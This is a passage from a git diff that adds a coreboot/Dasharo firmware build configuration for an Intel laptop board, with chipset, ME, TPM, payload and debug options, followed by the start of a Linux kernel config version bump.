+CONFIG_SOC_INTEL_COMMON_BLOCK_ACPI_CPPC=y +CONFIG_SOC_INTEL_COMMON_BLOCK_ACPI_CPU_HYBRID=y +CONFIG_SOC_INTEL_COMMON_BLOCK_CHIP_CONFIG=y +CONFIG_SOC_INTEL_COMMON_BLOCK_CNVI=y +CONFIG_SOC_INTEL_COMMON_BLOCK_CPU=y +CONFIG_SOC_INTEL_COMMON_BLOCK_CPU_MPINIT=y +CONFIG_USE_FSP_FEATURE_PROGRAM_ON_APS=y +# CONFIG_USE_COREBOOT_MP_INIT is not set +CONFIG_SOC_INTEL_COMMON_BLOCK_CPU_SMMRELOCATE=y +CONFIG_SOC_INTEL_COMMON_BLOCK_CAR=y +CONFIG_INTEL_CAR_NEM_ENHANCED=y +CONFIG_CAR_HAS_SF_MASKS=y +CONFIG_COS_MAPPED_TO_MSB=y +CONFIG_CAR_HAS_L3_PROTECTED_WAYS=y +CONFIG_USE_INTEL_FSP_TO_CALL_COREBOOT_PUBLISH_MP_PPI=y +CONFIG_CPU_SUPPORTS_INTEL_TME=y +CONFIG_TME_KEY_REGENERATION_ON_WARM_BOOT=y +CONFIG_CPU_SUPPORTS_PM_TIMER_EMULATION=y +CONFIG_HAVE_HYPERTHREADING=y +CONFIG_FSP_HYPERTHREADING=y +CONFIG_INTEL_KEYLOCKER=y +CONFIG_SOC_INTEL_COMMON_BLOCK_PRMRR_SIZE=2 +# CONFIG_SOC_INTEL_COMMON_BLOCK_PRMRR_SIZE_MAX is not set +# CONFIG_SOC_INTEL_COMMON_BLOCK_PRMRR_SIZE_256MB is not set +# CONFIG_SOC_INTEL_COMMON_BLOCK_PRMRR_SIZE_128MB is not set +# CONFIG_SOC_INTEL_COMMON_BLOCK_PRMRR_SIZE_64MB is not set +# CONFIG_SOC_INTEL_COMMON_BLOCK_PRMRR_SIZE_32MB is not set +# CONFIG_SOC_INTEL_COMMON_BLOCK_PRMRR_SIZE_16MB is not set +# CONFIG_SOC_INTEL_COMMON_BLOCK_PRMRR_SIZE_8MB is not set +# CONFIG_SOC_INTEL_COMMON_BLOCK_PRMRR_SIZE_4MB is not set +CONFIG_SOC_INTEL_COMMON_BLOCK_PRMRR_SIZE_2MB=y +# CONFIG_SOC_INTEL_COMMON_BLOCK_PRMRR_SIZE_0MB is not set +CONFIG_SOC_INTEL_COMMON_BLOCK_CSE=y +CONFIG_SOC_INTEL_COMMON_BLOCK_HECI1_DISABLE_USING_PMC_IPC=y +CONFIG_SOC_INTEL_CSE_SEND_EOP_LATE=y +CONFIG_SOC_INTEL_CSE_FMAP_NAME="SI_ME" +CONFIG_SOC_INTEL_CSE_RW_A_FMAP_NAME="ME_RW_A" +CONFIG_SOC_INTEL_CSE_RW_B_FMAP_NAME="ME_RW_B" +CONFIG_SOC_INTEL_CSE_RW_CBFS_NAME="me_rw" +CONFIG_SOC_INTEL_CSE_RW_HASH_CBFS_NAME="me_rw.hash" +CONFIG_SOC_INTEL_CSE_RW_VERSION_CBFS_NAME="me_rw.version" +CONFIG_SOC_INTEL_CSE_RW_FILE="" +CONFIG_SOC_INTEL_CSE_RW_VERSION="" +CONFIG_SOC_INTEL_CSE_SET_EOP=y +CONFIG_SOC_INTEL_CSE_IOM_CBFS_NAME="cse_iom" +CONFIG_SOC_INTEL_CSE_IOM_CBFS_FILE="" +CONFIG_SOC_INTEL_CSE_NPHY_CBFS_NAME="cse_nphy" +CONFIG_SOC_INTEL_CSE_NPHY_CBFS_FILE="" +CONFIG_SOC_INTEL_CSE_PRE_CPU_RESET_TELEMETRY=y +CONFIG_SOC_INTEL_CSE_PRE_CPU_RESET_TELEMETRY_V2=y +CONFIG_SOC_INTEL_CSE_HAVE_SPEC_SUPPORT=y +CONFIG_SOC_INTEL_COMMON_BLOCK_ME_SPEC_18=y +CONFIG_ME_SPEC=18 +CONFIG_SOC_INTEL_COMMON_BLOCK_DSP=y +CONFIG_SOC_INTEL_COMMON_BLOCK_DTT=y +CONFIG_SOC_INTEL_COMMON_BLOCK_FAST_SPI=y +CONFIG_FAST_SPI_DISABLE_WRITE_STATUS=y +CONFIG_FAST_SPI_SUPPORTS_EXT_BIOS_WINDOW=y +CONFIG_SOC_INTEL_COMMON_BLOCK_GPIO=y +CONFIG_SOC_INTEL_COMMON_BLOCK_GPIO_ITSS_POL_CFG=y +CONFIG_SOC_INTEL_COMMON_BLOCK_GPIO_IOSTANDBY=y +CONFIG_SOC_INTEL_COMMON_BLOCK_GPIO_DUAL_ROUTE_SUPPORT=y +CONFIG_SOC_INTEL_COMMON_BLOCK_GPIO_LOCK_USING_PCR=y +CONFIG_SOC_INTEL_COMMON_BLOCK_GPIO_PMODE_4BITS=y +CONFIG_SOC_INTEL_COMMON_BLOCK_GPMR=y +CONFIG_SOC_INTEL_COMMON_BLOCK_GRAPHICS=y +# CONFIG_SOC_INTEL_DISABLE_IGD is not set +CONFIG_SOC_INTEL_GFX_NON_PREFETCHABLE_MMIO=y +CONFIG_SOC_INTEL_COMMON_BLOCK_GSPI=y +CONFIG_SOC_INTEL_COMMON_BLOCK_GSPI_VERSION_2=y +CONFIG_SOC_INTEL_COMMON_BLOCK_HDA=y +CONFIG_SOC_INTEL_COMMON_BLOCK_HDA_VERB=y +CONFIG_SOC_INTEL_COMMON_BLOCK_I2C=y +CONFIG_SOC_INTEL_COMMON_BLOCK_IOC=y +CONFIG_SOC_INTEL_COMMON_BLOCK_IPU=y +CONFIG_SOC_INTEL_COMMON_BLOCK_IRQ=y +CONFIG_SOC_INTEL_COMMON_BLOCK_ITSS=y +CONFIG_SOC_INTEL_COMMON_BLOCK_LPC=y +CONFIG_SOC_INTEL_COMMON_BLOCK_LPC_MIRROR_TO_GPMR=y +CONFIG_SOC_INTEL_COMMON_BLOCK_LPSS=y +CONFIG_SOC_INTEL_COMMON_BLOCK_MEMINIT=y +CONFIG_SOC_INTEL_COMMON_BLOCK_BASE_P2SB=y +CONFIG_SOC_INTEL_COMMON_BLOCK_IOE_P2SB=y +CONFIG_SOC_INTEL_COMMON_BLOCK_PCIE=y +CONFIG_SOC_INTEL_COMMON_BLOCK_PCIE_RTD3=y +CONFIG_PCIE_CLOCK_CONTROL_THROUGH_P2SB=y +CONFIG_SOC_INTEL_COMMON_BLOCK_PCR=y +CONFIG_SOC_INTEL_COMMON_BLOCK_PMC=y +CONFIG_SOC_INTEL_MEM_MAPPED_PM_CONFIGURATION=y +CONFIG_SOC_INTEL_COMMON_BLOCK_PMC_EPOC=y +CONFIG_PMC_IPC_ACPI_INTERFACE=y +CONFIG_PMC_GLOBAL_RESET_ENABLE_LOCK=y +CONFIG_SOC_INTEL_COMMON_BLOCK_POWER_LIMIT=y +CONFIG_SOC_INTEL_COMMON_BLOCK_RTC=y +CONFIG_SOC_INTEL_COMMON_BLOCK_SATA=y +CONFIG_SOC_INTEL_COMMON_BLOCK_SMBUS=y +CONFIG_SOC_INTEL_COMMON_BLOCK_TCO=y +CONFIG_SOC_INTEL_COMMON_BLOCK_TCO_ENABLE_THROUGH_SMBUS=y +CONFIG_SOC_INTEL_COMMON_BLOCK_SMM=y +CONFIG_SOC_INTEL_COMMON_BLOCK_SMM_IO_TRAP=y +CONFIG_SOC_INTEL_COMMON_BLOCK_SMM_TCO_ENABLE=y +CONFIG_SOC_INTEL_COMMON_BLOCK_SMM_S5_DELAY_MS=0 +CONFIG_SOC_INTEL_COMMON_BLOCK_SPI=y +CONFIG_SOC_INTEL_COMMON_BLOCK_SA=y +CONFIG_SOC_INTEL_COMMON_BLOCK_TCSS=y +# CONFIG_TCSS_HAS_USBC_OPS is not set +CONFIG_SOC_INTEL_COMMON_BLOCK_THERMAL=y +CONFIG_SOC_INTEL_COMMON_BLOCK_THERMAL_BEHIND_PMC=y +CONFIG_SOC_INTEL_COMMON_BLOCK_TIMER=y +CONFIG_SOC_INTEL_COMMON_BLOCK_UART=y +CONFIG_INTEL_LPSS_UART_FOR_CONSOLE=y +CONFIG_SOC_INTEL_COMMON_BLOCK_USB4=y +CONFIG_SOC_INTEL_COMMON_BLOCK_USB4_PCIE=y +CONFIG_SOC_INTEL_COMMON_BLOCK_USB4_XHCI=y +CONFIG_SOC_INTEL_ENABLE_USB4_PCIE_RESOURCES=y +# CONFIG_FIRMWARE_CONNECTION_MANAGER is not set +CONFIG_SOFTWARE_CONNECTION_MANAGER=y +CONFIG_SOC_INTEL_COMMON_BLOCK_VTD=y +CONFIG_ENABLE_EARLY_DMA_PROTECTION=y +CONFIG_SOC_INTEL_COMMON_BLOCK_XDCI=y +CONFIG_SOC_INTEL_COMMON_BLOCK_XHCI=y +CONFIG_SOC_INTEL_COMMON_BLOCK_XHCI_ELOG=y + +# +# Intel SoC Common PCH Code +# +CONFIG_SOC_INTEL_COMMON_PCH_CLIENT=y +CONFIG_SOC_INTEL_COMMON_PCH_BASE=y +CONFIG_SOC_INTEL_COMMON_PCH_LOCKDOWN=y +CONFIG_PCH_SPECIFIC_BASE_OPTIONS=y +CONFIG_PCH_SPECIFIC_DISCRETE_OPTIONS=y +CONFIG_PCH_SPECIFIC_CLIENT_OPTIONS=y + +# +# Intel SoC Common coreboot stages and non-IP blocks +# +CONFIG_SOC_INTEL_COMMON_BASECODE=y +CONFIG_SOC_INTEL_COMMON_RESET=y +CONFIG_SOC_INTEL_COMMON_ACPI_WAKE_SOURCE=y +CONFIG_PAVP=y +# CONFIG_SOC_INTEL_DEBUG_CONSENT is not set +CONFIG_HAVE_INTEL_COMPLIANCE_TEST_MODE=y +# CONFIG_SOC_INTEL_COMPLIANCE_TEST_MODE is not set +CONFIG_SOC_INTEL_CRASHLOG=y +CONFIG_SOC_INTEL_IOE_DIE_SUPPORT=y + +# +# CPU +# +CONFIG_CPU_INTEL_FIRMWARE_INTERFACE_TABLE=y +CONFIG_CPU_INTEL_COMMON=y +CONFIG_ENABLE_VMX=y +CONFIG_SET_IA32_FC_LOCK_BIT=y +CONFIG_SET_MSR_AESNI_LOCK_BIT=y +CONFIG_CPU_INTEL_COMMON_VOLTAGE=y +CONFIG_CPU_INTEL_COMMON_SMM=y +CONFIG_PARALLEL_MP=y +CONFIG_PARALLEL_MP_AP_WORK=y +CONFIG_DEFAULT_X2APIC_LATE_WORKAROUND=y +# CONFIG_XAPIC_ONLY is not set +# CONFIG_X2APIC_ONLY is not set +# CONFIG_X2APIC_RUNTIME is not set +CONFIG_X2APIC_LATE_WORKAROUND=y +CONFIG_UDELAY_TSC=y +CONFIG_TSC_MONOTONIC_TIMER=y +CONFIG_X86_CLFLUSH_CAR=y +CONFIG_HAVE_SMI_HANDLER=y +CONFIG_SMM_TSEG=y +CONFIG_SMM_PCI_RESOURCE_STORE_NUM_SLOTS=8 +CONFIG_X86_INIT_NEED_1_SIPI=y +CONFIG_AP_STACK_SIZE=0x800 +CONFIG_SMP=y +CONFIG_SSE=y +CONFIG_SSE2=y +CONFIG_SUPPORT_CPU_UCODE_IN_CBFS=y +CONFIG_USE_CPU_MICROCODE_CBFS_BINS=y +CONFIG_CPU_MICROCODE_CBFS_DEFAULT_BINS=y +# CONFIG_CPU_MICROCODE_CBFS_EXTERNAL_BINS is not set +# CONFIG_CPU_MICROCODE_CBFS_EXTERNAL_HEADER is not set +# CONFIG_CPU_MICROCODE_CBFS_NONE is not set + +# +# Northbridge +# + +# +# Southbridge +# +CONFIG_PCIEXP_HOTPLUG=y +CONFIG_INTEL_DESCRIPTOR_MODE_REQUIRED=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_SMBUS=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_PIRQ_ACPI_GEN=y +CONFIG_INTEL_DESCRIPTOR_MODE_CAPABLE=y +# CONFIG_VALIDATE_INTEL_DESCRIPTOR is not set +CONFIG_FIXED_RCBA_MMIO_BASE=0xfed1c000 +CONFIG_RCBA_LENGTH=0x4000 + +# +# Super I/O +# + +# +# Embedded Controllers +# +CONFIG_EC_ACPI=y +CONFIG_EC_SYSTEM76_EC=y +# CONFIG_EC_SYSTEM76_EC_UPDATE is not set + +# +# Intel Firmware +# +# CONFIG_IFDTOOL_DISABLE_ME is not set +CONFIG_HAVE_ME_BIN=y +# CONFIG_STITCH_ME_BIN is not set +# CONFIG_ME_REGION_ALLOW_CPU_READ_ACCESS is not set +CONFIG_HAVE_INTEL_ME_HAP=y +# CONFIG_INTEL_ME_DISABLED_HECI is not set +# CONFIG_INTEL_ME_DISABLED_HAP is not set +CONFIG_INTEL_ME_ENABLED=y +CONFIG_INTEL_ME_DEFAULT_STATE=0 +CONFIG_MAINBOARD_USES_IFD_GBE_REGION=y +CONFIG_HAVE_GBE_BIN=y +# CONFIG_DO_NOT_TOUCH_DESCRIPTOR_REGION is not set +# CONFIG_LOCK_MANAGEMENT_ENGINE is not set +CONFIG_UNLOCK_FLASH_REGIONS=y +CONFIG_BIOS_VENDOR="3mdeb" + +# +# Dasharo +# + +# +# Dasharo Configuration +# +# CONFIG_DASHARO_PREFER_S3_SLEEP is not set +CONFIG_DASHARO_FIRMWARE_UPDATE_MODE=y +# end of Dasharo Configuration + +CONFIG_UDK_BASE=y +# CONFIG_UDK_202005_BINDING is not set +CONFIG_UDK_202302_BINDING=y +CONFIG_UDK_2013_VERSION=2013 +CONFIG_UDK_2017_VERSION=2017 +CONFIG_UDK_202005_VERSION=202005 +CONFIG_UDK_202302_VERSION=202302 +CONFIG_UDK_VERSION=202302 +CONFIG_ARCH_X86=y +CONFIG_ARCH_BOOTBLOCK_X86_32=y +CONFIG_ARCH_VERSTAGE_X86_32=y +CONFIG_ARCH_ROMSTAGE_X86_32=y +CONFIG_ARCH_POSTCAR_X86_32=y +CONFIG_ARCH_RAMSTAGE_X86_32=y +CONFIG_ARCH_ALL_STAGES_X86_32=y +CONFIG_RESERVED_PHYSICAL_ADDRESS_BITS_SUPPORT=y +CONFIG_X86_CUSTOM_BOOTMEDIA=y +CONFIG_POSTRAM_CBFS_CACHE_IN_BSS=y +CONFIG_RAMSTAGE_CBFS_CACHE_SIZE=0x4000 +CONFIG_PC80_SYSTEM=y +CONFIG_HAVE_CMOS_DEFAULT=y +CONFIG_POSTCAR_STAGE=y +CONFIG_BOOTBLOCK_SIMPLE=y +# CONFIG_BOOTBLOCK_NORMAL is not set +CONFIG_COLLECT_TIMESTAMPS_TSC=y +CONFIG_IDT_IN_EVERY_STAGE=y +CONFIG_HAVE_CF9_RESET=y +CONFIG_DEBUG_HW_BREAKPOINTS=y +CONFIG_DEBUG_HW_BREAKPOINTS_IN_ALL_STAGES=y +CONFIG_DEBUG_NULL_DEREF_BREAKPOINTS=y +CONFIG_DEBUG_NULL_DEREF_BREAKPOINTS_IN_ALL_STAGES=y +# CONFIG_DUMP_SMBIOS_TYPE17 is not set +# end of Chipset + +# +# Devices +# +CONFIG_HAVE_LINEAR_FRAMEBUFFER=y +CONFIG_HAVE_FSP_GOP=y +# CONFIG_VGA_ROM_RUN is not set +CONFIG_RUN_FSP_GOP=y +# CONFIG_NO_GFX_INIT is not set +CONFIG_NO_EARLY_GFX_INIT=y + +# +# Display +# +CONFIG_GENERIC_LINEAR_FRAMEBUFFER=y +CONFIG_LINEAR_FRAMEBUFFER=y +CONFIG_BOOTSPLASH=y +# end of Display + +CONFIG_PCI=y +CONFIG_ECAM_MMCONF_SUPPORT=y +CONFIG_PCIX_PLUGIN_SUPPORT=y +CONFIG_AZALIA_HDA_CODEC_SUPPORT=y +CONFIG_AZALIA_LOCK_DOWN_R_WO_GCAP=y +CONFIG_PCIEXP_PLUGIN_SUPPORT=y +CONFIG_ECAM_MMCONF_LENGTH=0x10000000 +CONFIG_PCI_ALLOW_BUS_MASTER=y +CONFIG_PCI_SET_BUS_MASTER_PCI_BRIDGES=y +CONFIG_PCI_ALLOW_BUS_MASTER_ANY_DEVICE=y +CONFIG_PCIEXP_SUPPORT_RESIZABLE_BARS=y +CONFIG_PCIEXP_LANE_ERR_STAT_CLEAR=y +CONFIG_PCIEXP_HOTPLUG_PREFETCH_MEM_BELOW_4G=y +CONFIG_PCIEXP_HOTPLUG_IO=0x800 +# CONFIG_EARLY_PCI_BRIDGE is not set +CONFIG_SUBSYSTEM_VENDOR_ID=0x0000 +CONFIG_SUBSYSTEM_DEVICE_ID=0x0000 +CONFIG_INTEL_GMA_HAVE_VBT=y +CONFIG_INTEL_GMA_ADD_VBT=y +# CONFIG_SOFTWARE_I2C is not set +CONFIG_I2C_TRANSFER_TIMEOUT_US=500000 +# CONFIG_RESOURCE_ALLOCATION_TOP_DOWN is not set +# end of Devices + +# +# Generic Drivers +# +CONFIG_CRB_TPM_BASE_ADDRESS=0xfed40000 +# CONFIG_DRIVERS_EFI_VARIABLE_STORE is not set +# CONFIG_ELOG is not set +CONFIG_CACHE_MRC_SETTINGS=y +CONFIG_MRC_SETTINGS_PROTECT=y +CONFIG_MRC_CACHE_USING_MRC_VERSION=y +# CONFIG_SMMSTORE is not set +CONFIG_SPI_FLASH=y +CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP=y +CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP_EARLY=y +# CONFIG_SPI_FLASH_NO_FAST_READ is not set +CONFIG_TPM_INIT_RAMSTAGE=y +CONFIG_TPM_PPI=y +CONFIG_DRIVERS_UART=y +CONFIG_NO_UART_ON_SUPERIO=y +CONFIG_DRIVERS_UART_8250MEM=y +CONFIG_DRIVERS_UART_8250MEM_32=y +# CONFIG_VPD is not set +CONFIG_DRIVERS_GENERIC_BAYHUB_LV2=y +# CONFIG_DRIVERS_GENERIC_CBFS_SERIAL is not set +# CONFIG_DRIVERS_GENERIC_CBFS_UUID is not set +# CONFIG_DRIVERS_GENESYSLOGIC_GL9750 is not set +# CONFIG_DRIVERS_GENESYSLOGIC_GL9755 is not set +# CONFIG_DRIVERS_GENESYSLOGIC_GL9763E is not set +CONFIG_DRIVERS_I2C_DESIGNWARE=y +CONFIG_DRIVERS_I2C_GENERIC=y +CONFIG_DRIVERS_I2C_HID=y +# CONFIG_DRIVERS_I2C_MAX98396 is not set +# CONFIG_DISPLAY_HOBS is not set +# CONFIG_DISPLAY_UPD_DATA is not set +# CONFIG_BMP_LOGO is not set +CONFIG_PLATFORM_USES_FSP2_0=y +CONFIG_PLATFORM_USES_FSP2_1=y +CONFIG_PLATFORM_USES_FSP2_2=y +CONFIG_PLATFORM_USES_FSP2_3=y +CONFIG_PLATFORM_USES_FSP2_X86_32=y +CONFIG_ADD_FSP_BINARIES=y +CONFIG_FSP_T_LOCATION=0xfffe0000 +CONFIG_FSP_S_CBFS="fsps.bin" +CONFIG_FSP_M_CBFS="fspm.bin" +CONFIG_FSP_FULL_FD=y +CONFIG_FSP_T_RESERVED_SIZE=0x0 +CONFIG_FSP_M_XIP=y +CONFIG_FSP_USES_CB_STACK=y +CONFIG_HAVE_FSP_LOGO_SUPPORT=y +CONFIG_FSP_COMPRESS_FSP_S_LZ4=y +CONFIG_FSP_STATUS_GLOBAL_RESET_REQUIRED_3=y +CONFIG_FSP_STATUS_GLOBAL_RESET=0x40000003 +CONFIG_SOC_INTEL_COMMON_FSP_RESET=y +CONFIG_FSPS_HAS_ARCH_UPD=y +CONFIG_FSPS_USE_MULTI_PHASE_INIT=y +CONFIG_FSP_USES_CB_DEBUG_EVENT_HANDLER=y +# CONFIG_DISPLAY_FSP_TIMESTAMPS is not set +CONFIG_FSP_ENABLE_SERIAL_DEBUG=y +CONFIG_INTEL_GMA_ACPI=y +CONFIG_VBT_CBFS_COMPRESSION_LZMA=y +# CONFIG_VBT_CBFS_COMPRESSION_LZ4 is not set +# CONFIG_VBT_CBFS_COMPRESSION_NONE is not set +CONFIG_VBT_CBFS_COMPRESSION_ALGORITHM="lzma" +CONFIG_INTEL_GMA_OPREGION_2_1=y +CONFIG_INTEL_GMA_VERSION_2=y +CONFIG_DRIVERS_INTEL_PMC=y +# CONFIG_DRIVERS_NXP_UWB_SR1XX is not set +# CONFIG_DRIVERS_PS2_KEYBOARD is not set +CONFIG_DRIVERS_MC146818=y +CONFIG_USE_PC_CMOS_ALTCENTURY=y +CONFIG_PC_CMOS_BASE_PORT_BANK0=0x70 +CONFIG_MEMORY_MAPPED_TPM=y +CONFIG_TPM_TIS_BASE_ADDRESS=0xfed40000 +# CONFIG_DRIVERS_SIL_3114 is not set +CONFIG_DRIVERS_USB_ACPI=y +CONFIG_DRIVERS_WIFI_GENERIC=y +CONFIG_DRIVERS_MTK_WIFI=y +CONFIG_MP_SERVICES_PPI=y +CONFIG_MP_SERVICES_PPI_V2=y +CONFIG_DRIVERS_INTEL_USB4_RETIMER=y +# end of Generic Drivers + +# +# Security +# + +# +# CBFS verification +# +# CONFIG_CBFS_VERIFICATION is not set +# end of CBFS verification + +# +# Verified Boot (vboot) +# +CONFIG_VBOOT_LIB=y +# end of Verified Boot (vboot) + +# +# Trusted Platform Module +# +# CONFIG_TPM1 is not set +CONFIG_TPM2=y +CONFIG_TPM=y +CONFIG_MAINBOARD_HAS_TPM2=y +# CONFIG_DEBUG_TPM is not set +CONFIG_TPM_RDRESP_NEED_DELAY=y +# CONFIG_TPM_LOG_CB is not set +CONFIG_TPM_LOG_TPM2=y +# CONFIG_TPM_HASH_SHA1 is not set +CONFIG_TPM_HASH_SHA256=y +# CONFIG_TPM_HASH_SHA384 is not set +# CONFIG_TPM_HASH_SHA512 is not set +CONFIG_TPM_MEASURED_BOOT_RUNTIME_DATA="" +CONFIG_PCR_BOOT_MODE=1 +CONFIG_PCR_HWID=1 +CONFIG_PCR_SRTM=2 +CONFIG_PCR_FW_VER=10 +CONFIG_PCR_RUNTIME_DATA=3 +# end of Trusted Platform Module + +# +# Memory initialization +# +CONFIG_PLATFORM_HAS_DRAM_CLEAR=y +# CONFIG_SECURITY_CLEAR_DRAM_ON_REGULAR_BOOT is not set +# end of Memory initialization + +# CONFIG_INTEL_TXT is not set +# CONFIG_STM is not set +# CONFIG_INTEL_CBNT_SUPPORT is not set +CONFIG_BOOTMEDIA_LOCK_NONE=y +# CONFIG_BOOTMEDIA_LOCK_CONTROLLER is not set +# CONFIG_BOOTMEDIA_LOCK_CHIP is not set +# CONFIG_BOOTMEDIA_SMM_BWP is not set +# end of Security + +CONFIG_ACPI_HAVE_PCAT_8259=y +CONFIG_ACPI_INTEL_HARDWARE_SLEEP_VALUES=y +CONFIG_ACPI_SOC_NVS=y +CONFIG_ACPI_CUSTOM_MADT=y +CONFIG_ACPI_COMMON_MADT_IOAPIC=y +CONFIG_HAVE_ACPI_TABLES=y +CONFIG_ACPI_LPIT=y +CONFIG_BOOT_DEVICE_SPI_FLASH=y +CONFIG_BOOT_DEVICE_MEMORY_MAPPED=y +CONFIG_BOOT_DEVICE_SUPPORTS_WRITES=y +CONFIG_RTC=y +CONFIG_HEAP_SIZE=0x100000 + +# +# Console +# +CONFIG_BOOTBLOCK_CONSOLE=y +CONFIG_POSTCAR_CONSOLE=y +CONFIG_SQUELCH_EARLY_SMP=y +CONFIG_FIXED_UART_FOR_CONSOLE=y + +# +# memory mapped, 8250-compatible +# +CONFIG_TTYS0_BASE=0x3f8 +# CONFIG_CONSOLE_SERIAL_921600 is not set +# CONFIG_CONSOLE_SERIAL_460800 is not set +# CONFIG_CONSOLE_SERIAL_230400 is not set +CONFIG_CONSOLE_SERIAL_115200=y +# CONFIG_CONSOLE_SERIAL_57600 is not set +# CONFIG_CONSOLE_SERIAL_38400 is not set +# CONFIG_CONSOLE_SERIAL_19200 is not set +# CONFIG_CONSOLE_SERIAL_9600 is not set +CONFIG_TTYS0_LCS=3 +# CONFIG_SPKMODEM is not set +# CONFIG_CONSOLE_NE2K is not set +CONFIG_CONSOLE_CBMEM=y +# CONFIG_CONSOLE_SPI_FLASH is not set +# CONFIG_CONSOLE_I2C_SMBUS is not set +# CONFIG_CONSOLE_SYSTEM76_EC is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_8 is not set +CONFIG_DEFAULT_CONSOLE_LOGLEVEL_7=y +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_6 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_5 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_4 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_3 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_2 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_1 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_0 is not set +CONFIG_DEFAULT_CONSOLE_LOGLEVEL=7 +CONFIG_CONSOLE_USE_LOGLEVEL_PREFIX=y +CONFIG_CONSOLE_USE_ANSI_ESCAPES=y +# CONFIG_CMOS_POST is not set +CONFIG_HWBASE_DEBUG_CB=y +# end of Console + +CONFIG_ACPI_S1_NOT_SUPPORTED=y +CONFIG_HAVE_ACPI_RESUME=y +CONFIG_RESUME_PATH_SAME_AS_BOOT=y +CONFIG_HAVE_MONOTONIC_TIMER=y +CONFIG_HAVE_OPTION_TABLE=y +CONFIG_IOAPIC=y + +# +# System tables +# +CONFIG_GENERATE_SMBIOS_TABLES=y +CONFIG_MAINBOARD_SERIAL_NUMBER="123456789" +# end of System tables + +# +# Payload +# +# CONFIG_PAYLOAD_NONE is not set +# CONFIG_PAYLOAD_ELF is not set +# CONFIG_PAYLOAD_BOOTBOOT is not set +# CONFIG_PAYLOAD_FILO is not set +# CONFIG_PAYLOAD_GRUB2 is not set +# CONFIG_PAYLOAD_SEAGRUB is not set +# CONFIG_PAYLOAD_LINUXBOOT is not set +# CONFIG_PAYLOAD_SEABIOS is not set +# CONFIG_PAYLOAD_UBOOT is not set +# CONFIG_PAYLOAD_EDK2 is not set +CONFIG_PAYLOAD_LINUX=y +CONFIG_PAYLOAD_FILE="@BOARD_BUILD_DIR@/bzImage" +CONFIG_PAYLOAD_OPTIONS="" +# CONFIG_PXE is not set +CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" +CONFIG_COMPRESS_SECONDARY_PAYLOAD=y + +# +# Secondary Payloads +# +# CONFIG_COREINFO_SECONDARY_PAYLOAD is not set +# CONFIG_GRUB2_SECONDARY_PAYLOAD is not set +# CONFIG_MEMTEST_SECONDARY_PAYLOAD is not set +# CONFIG_NVRAMCUI_SECONDARY_PAYLOAD is not set +# CONFIG_SEABIOS_SECONDARY_PAYLOAD is not set +# CONFIG_TINT_SECONDARY_PAYLOAD is not set +# CONFIG_COREDOOM_SECONDARY_PAYLOAD is not set +# end of Secondary Payloads +# end of Payload + +# +# Debugging +# + +# +# CPU Debug Settings +# +# CONFIG_DISPLAY_MTRRS is not set + +# +# Vendorcode Debug Settings +# + +# +# BLOB Debug Settings +# +# CONFIG_DISPLAY_FSP_CALLS_AND_STATUS is not set +# CONFIG_DISPLAY_FSP_HEADER is not set +# CONFIG_VERIFY_HOBS is not set +# CONFIG_DISPLAY_FSP_VERSION_INFO is not set +CONFIG_DISPLAY_FSP_VERSION_INFO_2=y +# CONFIG_ENABLE_FSP_ERROR_INFO is not set +CONFIG_HAVE_GPIO_SNAPSHOT_VERIFY_SUPPORT=y +# CONFIG_CHECK_GPIO_CONFIG_CHANGES is not set + +# +# General Debug Settings +# +# CONFIG_GDB_STUB is not set +# CONFIG_FATAL_ASSERTS is not set +CONFIG_HAVE_DEBUG_GPIO=y +# CONFIG_DEBUG_GPIO is not set +# CONFIG_DEBUG_CBFS is not set +CONFIG_HAVE_DEBUG_RAM_SETUP=y +# CONFIG_DEBUG_RAM_SETUP is not set +CONFIG_HAVE_DEBUG_SMBUS=y +# CONFIG_DEBUG_SMBUS is not set +# CONFIG_DEBUG_MALLOC is not set +# CONFIG_DEBUG_CONSOLE_INIT is not set +# CONFIG_DEBUG_SPI_FLASH is not set +# CONFIG_DEBUG_BOOT_STATE is not set +# CONFIG_DEBUG_ADA_CODE is not set +CONFIG_HAVE_EM100_SUPPORT=y +# CONFIG_EM100 is not set +# CONFIG_DEBUG_ACPICA_COMPATIBLE is not set +# end of Debugging + +CONFIG_SPD_READ_BY_WORD=y +CONFIG_DECOMPRESS_OFAST=y +CONFIG_WARNINGS_ARE_ERRORS=y +CONFIG_MAX_REBOOT_CNT=3 +CONFIG_RELOCATABLE_MODULES=y +CONFIG_GENERIC_GPIO_LIB=y +CONFIG_HAVE_BOOTBLOCK=y +CONFIG_HAVE_ROMSTAGE=y +CONFIG_HAVE_RAMSTAGE=y diff --git a/config/linux-nitropad-x.config b/config/linux-nitropad-x.config index 021e9ba30..73bab708e 100644 --- a/config/linux-nitropad-x.config +++ b/config/linux-nitropad-x.config @@ -1,18 +1,19 @@ # # Automatically generated file; DO NOT EDIT. -# Linux/x86 6.1.8 Kernel Configuration +# Linux/x86 6.11.9 Kernel Configuration # -CONFIG_CC_VERSION_TEXT="x86_64-linux-musl-gcc (GCC) 8.3.0" +CONFIG_CC_VERSION_TEXT="x86_64-linux-musl-gcc (GCC) 9.4.0" CONFIG_CC_IS_GCC=y -CONFIG_GCC_VERSION=80300 +CONFIG_GCC_VERSION=90400 CONFIG_CLANG_VERSION=0 CONFIG_AS_IS_GNU=y -CONFIG_AS_VERSION=23200 +CONFIG_AS_VERSION=23301 CONFIG_LD_IS_BFD=y -CONFIG_LD_VERSION=23200 +CONFIG_LD_VERSION=23301 CONFIG_LLD_VERSION=0 CONFIG_CC_CAN_LINK=y CONFIG_CC_CAN_LINK_STATIC=y +CONFIG_GCC_ASM_GOTO_OUTPUT_BROKEN=y CONFIG_CC_HAS_ASM_INLINE=y CONFIG_CC_HAS_NO_PROFILE_FN_ATTR=y CONFIG_PAHOLE_VERSION=0 @@ -65,7 +66,6 @@ CONFIG_HARDIRQS_SW_RESEND=y 